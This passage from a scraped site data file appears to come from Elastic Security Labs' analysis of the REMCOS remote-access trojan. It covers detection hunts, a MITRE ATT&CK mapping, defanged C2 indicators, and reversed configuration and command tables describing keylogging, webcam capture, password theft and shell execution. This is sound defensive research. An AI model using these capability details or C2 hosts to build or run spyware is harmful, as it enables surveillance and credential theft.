10\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-four/image2.png\",alt:\"ES|QL hunt for rare processes creating WAV files\",title:\"ES|QL hunt for rare processes creating WAV files\",width:\"1440\",height:\"721\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The following \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html\",rel:\"nofollow\",children:\"ES|QL\"}),\" hunt can also look for processes that drop both JPG and WAV files using the same \",(0,n.jsx)(e.code,{children:\"process.pid\"}),\" :\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`from logs-endpoint.events.file*\n| where event.category == \"file\" and host.os.family == \"windows\" and event.action == \"creation\" and file.extension in (\"wav\", \"jpg\") and \n\n/* excluding privileged processes and limiting the hunt to unsigned \nprocess or signed by untrusted certificate or signed by Microsoft */\n\nnot user.id in (\"S-1-5-18\", \"S-1-5-19\", \"S-1-5-20\") and (process.code_signature.trusted == false or process.code_signature.exists == false or starts_with(process.code_signature.subject_name, \"Microsoft\")) \n| eval wav_pids = case(file.extension == \"wav\", process.entity_id, null), jpg_pids = case(file.extension == \"jpg\", process.entity_id, null), others = case(file.extension != \"wav\" and file.extension != \"jpg\", process.entity_id, null)\n\n/* number of jpg and wav files created by unique process identifier */\n\n| stats count_wav_files = count(wav_pids), count_jpg_files = count(jpg_pids), other_files = count(others) by process.entity_id, process.name\n\n/* limit results to same process dropping both file extensions */\n\n| where count_jpg_files \u003e= 1 and count_wav_files \u003e= 1\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Examples of matches on both REMCOS and the injected \",(0,n.jsx)(e.code,{children:\"iexplore.exe\"}),\" process:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-four/image4.png\",alt:\"ES|QL hunts for unique processes dropping image and audio files\",title:\"ES|QL hunts for unique processes dropping image and audio files\",width:\"1440\",height:\"721\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Pivoting by \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id\",rel:\"nofollow\",children:\"process.entity_id\"}),\" to further investigate suspicious processes, installers, browsers, and decompression utilities are often the most observed false positives.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"yara-rule\",children:\"YARA rule\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The REMCOS version 4.9.3 is detected statically using the following \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar\",rel:\"nofollow\",children:\"YARA rule\"}),\" produced by Elastic Security Labs\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"malware-and-mitre-attck\",children:\"Malware and MITRE ATT\u0026CK\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic uses the\",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\" MITRE ATT\u0026CK\"}),\" framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Tactics represent the \",(0,n.jsx)(e.em,{children:\"why\"}),\" of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0003\",rel:\"nofollow\",children:\"Persistence\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0004\",rel:\"nofollow\",children:\"Privilege Escalation\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005/\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0006\",rel:\"nofollow\",children:\"Credential Access\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"techniques\",children:\"Techniques\"}),`\n`,(0,n.jsx)(e.p,{children:\"Techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059/003\",rel:\"nofollow\",children:\"Windows Command Shell\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059/005\",rel:\"nofollow\",children:\"Visual Basic\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1547/001\",rel:\"nofollow\",children:\"Registry Run Keys / Startup Folder\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055\",rel:\"nofollow\",children:\"Process Injection\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1555/003\",rel:\"nofollow\",children:\"Credentials from Web Browsers\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1573\",rel:\"nofollow\",children:\"Encrypted Channel\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1218/003/\",rel:\"nofollow\",children:\"System Binary Proxy Execution: CMSTP\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1548/002/\",rel:\"nofollow\",children:\"Bypass User Account Control\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,n.jsx)(e.p,{children:\"As the REMCOS continues to rapidly evolve, our in-depth analysis of version 4.9.3 offers critical insights that can significantly aid the malware research community in comprehending and combatting this pervasive threat.\"}),`\n`,(0,n.jsx)(e.p,{children:\"By uncovering its features and capabilities in this series, we provide essential information that enhances understanding and strengthens defenses against this malicious software.\"}),`\n`,(0,n.jsx)(e.p,{children:\"We've also shown that our Elastic Defend product can detect and stop the REMCOS threat. As this article demonstrates, our new query language, ES|QL, makes hunting for threats simple and effective.\"}),`\n`,(0,n.jsx)(e.p,{children:\"Elastic Security Labs remains committed to this endeavor as part of our open-source philosophy, which is dedicated to sharing knowledge and collaborating with the broader cybersecurity community. Moving forward, we will persist in analyzing similar malware families, contributing valuable insights to bolster collective defense against emerging cyber threats.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"sample-hashes-and-c2s\",children:\"Sample hashes and C2s\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"(Analysis reference) \",(0,n.jsx)(e.strong,{children:\"0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5\"})]}),`\n`,(0,n.jsx)(e.p,{children:\"remchukwugixiemu4.duckdns[.]org:57844\"}),`\n`,(0,n.jsx)(e.p,{children:\"remchukwugixiemu4.duckdns[.]org:57846\"}),`\n`,(0,n.jsx)(e.p,{children:\"remchukwugix231fgh.duckdns[.]org:57844\"}),`\n`,(0,n.jsx)(e.p,{children:\"remchukwugix231fgh.duckdns[.]org:57846\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"3e32447ea3b5f07c7f6a180269f5443378acb32c5d0e0bf01a5e39264f691587\"})}),`\n`,(0,n.jsx)(e.p,{children:\"122.176.133[.]66:2404\"}),`\n`,(0,n.jsx)(e.p,{children:\"122.176.133[.]66:2667\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"8c9202885700b55d73f2a76fbf96c1b8590d28b061efbadf9826cdd0e51b9f26\"})}),`\n`,(0,n.jsx)(e.p,{children:\"43.230.202[.]33:7056\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"95dfdb588c7018babd55642c48f6bed1c281cecccbd522dd40b8bea663686f30\"})}),`\n`,(0,n.jsx)(e.p,{children:\"107.175.229[.]139:8087\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"517f65402d3cf185037b858a5cfe274ca30090550caa39e7a3b75be24e18e179\"})}),`\n`,(0,n.jsx)(e.p,{children:\"money001.duckdns[.]org:9596\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"b1a149e11e9c85dd70056d62b98b369f0776e11b1983aed28c78c7d5189cfdbf\"})}),`\n`,(0,n.jsx)(e.p,{children:\"104.250.180[.]178:7902\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"ba6ee802d60277f655b3c8d0215a2abd73d901a34e3c97741bc377199e3a8670\"})}),`\n`,(0,n.jsx)(e.p,{children:\"185.70.104[.]90:2404\"}),`\n`,(0,n.jsx)(e.p,{children:\"185.70.104[.]90:8080\"}),`\n`,(0,n.jsx)(e.p,{children:\"185.70.104[.]90:465\"}),`\n`,(0,n.jsx)(e.p,{children:\"185.70.104[.]90:80\"}),`\n`,(0,n.jsx)(e.p,{children:\"77.105.132[.]70:80\"}),`\n`,(0,n.jsx)(e.p,{children:\"77.105.132[.]70:8080\"}),`\n`,(0,n.jsx)(e.p,{children:\"77.105.132[.]70:2404\"}),`\n`,(0,n.jsx)(e.p,{children:\"77.105.132[.]70:465\"}),`\n`,(0,n.jsx)(e.h2,{id:\"research-references\",children:\"Research references\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing\",rel:\"nofollow\",children:\"https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.jaiminton.com/reverse-engineering/remcos\",rel:\"nofollow\",children:\"https://www.jaiminton.com/reverse-engineering/remcos\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf\",rel:\"nofollow\",children:\"https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf\"})}),`\n`]})]})}function v(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(h,t)})):h(t)}var E=v;return _(S);})();\n;return Component;"},"_id":"articles/dissecting-remcos-rat-part-four.mdx","_raw":{"sourceFilePath":"articles/dissecting-remcos-rat-part-four.mdx","sourceFileName":"dissecting-remcos-rat-part-four.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/dissecting-remcos-rat-part-four"},"type":"Article","imageUrl":"/assets/images/dissecting-remcos-rat-part-four/Security Labs Images 18.jpg","readingTime":"8 min read","series":"","url":"/dissecting-remcos-rat-part-four","headings":[{"level":2,"title":"Detection and Hunt","href":"#detection-and-hunt"},{"level":2,"title":"YARA rule","href":"#yara-rule"},{"level":2,"title":"Malware and MITRE ATT\u0026CK","href":"#malware-and-mitre-attck"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques","href":"#techniques"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"Sample hashes and C2s","href":"#sample-hashes-and-c2s"},{"level":2,"title":"Research references","href":"#research-references"}],"author":[{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Three","slug":"dissecting-remcos-rat-part-three","date":"2024-05-03","description":"In previous articles in this multipart series, malware researchers on the Elastic Security Labs team dove into the REMCOS execution flow. In this article, you’ll learn more about REMCOS configuration structure and its C2 commands.","image":"Security Labs Images 14.jpg","subtitle":"Part three: Configuration and commands","tags":["malware-analysis","remcos"],"body":{"raw":"\nIn [previous](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-one) [articles](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-two) in this multipart series, malware researchers on the Elastic Security Labs team analyzed REMCOS execution flow, detailing its recording capabilities and its communication with C2. In this article, you’ll learn more about REMCOS configuration structure and its C2 commands.\n\n## The configuration\n\nIn this section, we provide a comprehensive overview of the configuration fields of the malware.\n\n### Configuration Table\n\nResearchers successfully recovered approximately 80% of the configuration structure (45 out of 56 fields). We provide detailed configuration information in the following table:\n\n\n| Index | Name | Description |\n| --- | --- | --- |\n| 0x0 | c2_list | String containing “domain:port:enable_tls“ separated by the “\\x1e” character |\n| 0x1 | botnet | Name of the botnet |\n| 0x2 | connect_interval | Interval in second between connection attempt to C2 |\n| 0x3 | enable_install_flag | Install REMCOS on the machine host |\n| 0x4 | enable_hkcu_run_persistence_flag | Enable setup of the persistence in the registry |\n| 0x5 | enable_hklm_run_persistence_flag | Enable setup of the persistence in the registry |\n| 0x7 | keylogger_maximum_file_size | Maximum size of the keylogging data before rotation |\n| 0x8 | enable_hklm_policies_explorer_run_flag | Enable setup of the persistence in the registry |\n| 0x9 | install_parent_directory | Parent directory of the install folder. Integer mapped to an hardcoded path |\n| 0xA | install_filename | Name of the REMCOS binary once installed |\n| 0xC | enable_persistence_directory_and_binary_hidding_flag | Enable super hiding the install directory and binary as well as setting them to read only |\n| 0xD | enable_process_injection_flag | Enable running the malware injected in another process |\n| 0xE | mutex | String used as the malware mutex and registry key |\n| 0xF | keylogger_mode | Set keylogging capability. Keylogging mode, 0 = disabled, 1 = keylogging everything, 2 = keylogging specific window(s) |\n| 0x10 | keylogger_parent_directory | Parent directory of the keylogging folder. Integer mapped to an hardcoded path |\n| 0x11 | keylogger_filename | Filename of the keylogged data |\n| 0x12 | enable_keylogger_file_encryption_flag | Enable encryption RC4 of the keylogger data file |\n| 0x13 | enable_keylogger_file_hidding_flag | Enable super hiding of the keylogger data file |\n| 0x14 | enable_screenshot_flag | Enable screen recording capability |\n| 0x15 | screenshot_interval_in_minutes | The time interval in minute for capturing each screenshot |\n| 0x16 | enable_screenshot_specific_window_names_flag | Enable screen recording for specific window names |\n| 0x17 | screenshot_specific_window_names | String containing window names separated by the “;” character |\n| 0x18 | screenshot_specific_window_names_interval_in_seconds | The time interval in second for capturing each screenshot when a specific window name is found in the current foreground window title |\n| 0x19 | screenshot_parent_directory | Parent directory of the screenshot folder. Integer mapped to an hardcoded path |\n| 0x1A | screenshot_folder | Name of the screenshot folder |\n| 0x1B | enable_screenshot_encryption_flag | Enable encryption of screenshots |\n| 0x23 | enable_audio_recording_flag | Enable audio recording capability |\n| 0x24 | audio_recording_duration_in_minutes | Duration in second of each audio recording |\n| 0x25 | audio_record_parent_directory | Parent directory of the audio recording folder. Integer mapped to an hardcoded path |\n| 0x26 | audio_record_folder | Name of the audio recording folder |\n| 0x27 | disable_uac_flag | Disable UAC in the registry |\n| 0x28 | logging_mode | Set logging mode: 0 = disabled, 1 = minimized in tray, 2 = console logging |\n| 0x29 | connect_delay_in_second | Delay in second before the first connection attempt to the C2 |\n| 0x2A | keylogger_specific_window_names | String containing window names separated by the “;” character |\n| 0x2B | enable_browser_cleaning_on_startup_flag | Enable cleaning web browsers’ cookies and logins on REMCOS startup |\n| 0x2C | enable_browser_cleaning_only_for_the_first_run_flag | Enable web browsers cleaning only on the first run of Remcos |\n| 0x2D | browser_cleaning_sleep_time_in_minutes | Sleep time in minute before cleaning the web browsers |\n| 0x2E | enable_uac_bypass_flag | Enable UAC bypass capability |\n| 0x30 | install_directory | Name of the install directory |\n| 0x31 | keylogger_root_directory | Name of the keylogger directory |\n| 0x32 | enable_watchdog_flag | Enable watchdog capability |\n| 0x34 | license | License serial |\n| 0x35 | enable_screenshot_mouse_drawing_flag | Enable drawing the mouse on each screenshot |\n| 0x36 | tls_raw_certificate | Certificate in raw format used with tls enabled C2 communication |\n| 0x37 | tls_key | Key of the certificate |\n| 0x38 | tls_raw_peer_certificate | C2 public certificate in raw format |\n\n### Integer to path mapping\n\nREMCOS utilizes custom mapping for some of its \"folder\" fields instead of a string provided by the user.\n\n![](/assets/images/dissecting-remcos-rat-part-three/image70.png)\n\nWe provide details of the mapping below:\n\n| Value | Path |\n| --- | --- |\n| 0 | %Temp% |\n| 1 | Current malware directory |\n| 2 | %SystemDrive% |\n| 3 | %WinDir% |\n| 4 | %WinDir%//SysWOW64|system32 |\n| 5 | %ProgramFiles% |\n| 6 | %AppData% |\n| 7 | %UserProfile% |\n| 8 | %ProgramData%|%ProgramFiles% |\n\n### Configuration extraction, an inside perspective\n\nWe enjoy building tools, and we'd like to take this opportunity to provide some insight into the type of tools we develop to aid in our analysis of malware families like REMCOS.\n\nWe developed a configuration extractor called \"conf-tool\", which not only extracts and unpacks the configuration from specific samples but can also repackage it with modifications.\n\n![```conf-tool``` help screen](/assets/images/dissecting-remcos-rat-part-three/image28.png)\n\n\nFirst, we unpack the configuration.\n\n![Unpacking the configuration](/assets/images/dissecting-remcos-rat-part-three/image35.png)\n\n\nThe configuration is saved to the disk as a JSON document, with each field mapped to its corresponding type.\n\n![Dumped configuration in JSON format](/assets/images/dissecting-remcos-rat-part-three/image86.png)\n\n\nWe are going to replace all the domains in the list with the IP address of our C2 emulator to initiate communication with the sample.\n\n![Setting our IP in the C2 list](/assets/images/dissecting-remcos-rat-part-three/image44.png)\n\n\nWe are also enabling the logging mode to console (2):\n\n![Setting logging mode to console in the configuration](/assets/images/dissecting-remcos-rat-part-three/image37.png)\n\n\nOnce we're done, repack everything:\n![Repacking the configuration in the REMCOS sample](/assets/images/dissecting-remcos-rat-part-three/image35.png)\n\n\nAnd voilà, we have the console, and the sample attempts to connect to our emulator!\n\n![REMCOS console](/assets/images/dissecting-remcos-rat-part-three/image65.png)\n\n\nWe are releasing a [REMCOS malware configuration extractor](https://github.com/elastic/labs-releases/tree/main/extractors/remcos) that includes some of these features.\n\n## C2 commands\n\nIn this section, we present a list of all the commands we've reversed that are executable by the Command and Control (C2). Furthermore, we provide additional details for a select subset of commands.\n\n### Command table\n\nResearchers recovered approximately 95% of the commands (74 out of 78). We provide information about the commands in the following table:\n\n| Function | Name |\n| --- | --- |\n| 0x1 | HeartBeat |\n| 0x2 | DisableKeepAlive |\n| 0x3 | ListInstalledApplications |\n| 0x6 | ListRunningProcesses |\n| 0x7 | TerminateProcess |\n| 0x8 | ListProcessesWindows |\n| 0x9 | CloseWindow |\n| 0xA | ShowWindowMaximized |\n| 0xB | ShowWindowRestore |\n| 0xC | TerminateProcessByWindowHandleAndListProcessesWindows |\n| 0xD | ExecuteShellCmd |\n| 0xE | StartPipedShell |\n| 0xF | ExecuteProgram |\n| 0x10 | MaybeUploadScreenshots |\n| 0x11 | GetHostGeolocation |\n| 0x12 | GetOfflineKeyloggerInformation |\n| 0x13 | StartOnlineKeylogger |\n| 0x14 | StopOnlineKeylogger |\n| 0x15 | MaybeSetKeyloggerNameAndUploadData |\n| 0x16 | UploadKeyloggerData |\n| 0x17 | DeleteKeyloggerDataThenUploadIfAnythingNewInbetween |\n| 0x18 | CleanBrowsersCookiesAndLogins |\n| 0x1B | StartWebcamModule |\n| 0x1C | StopWebcamModule |\n| 0x1D | EnableAudioCapture |\n| 0x1E | DisableAudioCapture |\n| 0x1F | StealPasswords |\n| 0x20 | DeleteFile |\n| 0x21 | TerminateSelfAndWatchdog |\n| 0x22 | Uninstall |\n| 0x23 | Restart |\n| 0x24 | UpdateFromURL |\n| 0x25 | UpdateFromC2 |\n| 0x26 | MessageBox |\n| 0x27 | ShutdownOrHibernateHost |\n| 0x28 | UploadClipboardData |\n| 0x29 | SetClipboardToSpecificData |\n| 0x2A | EmptyClipboardThenUploadIfAnythingInbetween |\n| 0x2B | LoadDllFromC2 |\n| 0x2C | LoadDllFromURL |\n| 0x2D | StartFunFuncModule |\n| 0x2F | EditRegistry |\n| 0x30 | StartChatModule |\n| 0x31 | SetBotnetName |\n| 0x32 | StartProxyModule |\n| 0x34 | ManageService |\n| 0x8F | SearchFile |\n| 0x92 | SetWallpaperFromC2 |\n| 0x94 | SetWindowTextThenListProcessesWindow |\n| 0x97 | UploadDataFromDXDiag |\n| 0x98 | FileManager |\n| 0x99 | ListUploadScreenshots |\n| 0x9A | DumpBrowserHistoryUsingNirsoft |\n| 0x9E | TriggerAlarmWav |\n| 0x9F | EnableAlarmOnC2Disconnect |\n| 0xA0 | DisableAlarmOnC2Disconnect |\n| 0xA2 | DownloadAlarmWavFromC2AndOptPlayIt |\n| 0xA3 | AudioPlayer |\n| 0xAB | ElevateProcess |\n| 0xAC | EnableLoggingConsole |\n| 0xAD | ShowWindow |\n| 0xAE | HideWindow |\n| 0xB2 | ShellExecuteOrInjectPEFromC2OrURL |\n| 0xC5 | RegistrySetHlightValue |\n| 0xC6 | UploadBrowsersCookiesAndPasswords |\n| 0xC8 | SuspendProcess |\n| 0xC9 | ResumeProcess |\n| 0xCA | ReadFile |\n| 0xCB | WriteFile |\n| 0xCC | StartOfflineKeylogger |\n| 0xCD | StopOfflineKeylogger |\n| 0xCE | ListProcessesTCPandUDPTables |\n\n### ListInstalledApplications command\n\nTo list installed applications, REMCOS iterates over the ```Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall``` registry key. For each subkey, it queries the following values:\n\n - ```DisplayName```\n - ```Publisher```\n - ```DisplayVersion```\n - ```InstallLocation```\n - ```InstallDate```\n - ```UninstallString```\n\n![```0x41C68F``` REMCOS listing installed applications](/assets/images/dissecting-remcos-rat-part-three/image61.png)\n\n\n### ExecuteShellCmd command\nShell commands are executed using the ShellExecuteW API with ```cmd.exe /C {command}``` as arguments.\n\n![Executing a shell command using ```ShellExecuteW``` with ```cmd.exe```](/assets/images/dissecting-remcos-rat-part-three/image19.png)\n\n\n### GetHostGeolocation command\nTo obtain host geolocation, REMCOS utilizes the [geoplugin.net](http://geoplugin.net) API and directly uploads the returned JSON data.\n\n![Requesting geolocation information from geoplugin.net](/assets/images/dissecting-remcos-rat-part-three/image91.png)\n\n\n### StartOnlineKeylogger command\n\nThe online keylogger employs the same keylogger structure as the offline version. However, instead of writing the data to the disk, the data is sent live to the C2.\n\n![```0x40AEEE``` Initialization of the online keylogger](/assets/images/dissecting-remcos-rat-part-three/image23.png)\n\n\n### StartWebcamModule command\n\nREMCOS uses an external module for webcam recording. This module is a DLL that must be received and loaded from its C2 as part of the command parameters.\n\n![```0x404582``` REMCOS loading the webcam module from C2](/assets/images/dissecting-remcos-rat-part-three/image93.png)\n\n\n\nOnce the module is loaded, you can send a sub-command to capture and upload a webcam picture.\n\n![```0x4044F5``` Sub-command handler for capturing and uploading pictures](/assets/images/dissecting-remcos-rat-part-three/image52.png)\n\n\n### StealPasswords command\n\nPassword stealing is likely carried out using 3 different [Nirsoft](https://www.nirsoft.net/) binaries, identified by the \"/sext\" parameters. These binaries are received from the C2 and injected into a freshly created process. Both elements are part of the command parameters.\n\n![```0x412BAA``` REMCOS injects one of the Nirsoft binary into a freshly created process](/assets/images/dissecting-remcos-rat-part-three/image72.png)\n\n\nThe ```/sext``` parameter instructs the software to write the output to a file, each output filename is randomly generated and stored in the malware installation folder. Once their contents are read and uploaded to the C2, they are deleted.\n\n![```0x412B12``` Building random filename for the Nirsoft output file](/assets/images/dissecting-remcos-rat-part-three/image87.png)\n\n\n![Read and delete the output file](/assets/images/dissecting-remcos-rat-part-three/image98.png)\n\n\nAn additional DLL, with a [FoxMailRecovery](https://github.com/jacobsoo/FoxmailRecovery) export, can also be utilized. Like the other binaries, the DLL is received from the C2 as part of the command parameters. As the name implies the DLLis likely to be used to dump FoxMail data\n\n![Loading additional dll with FoxMailRecovery export](/assets/images/dissecting-remcos-rat-part-three/image17.png)\n\n\n### Uninstall command\n\nThe uninstall command will delete all Remcos-related files and persistence registry keys from the host machine.\n\nFirst, it kills the watchdog process.\n![```0x040D0A0``` Killing the watchdog 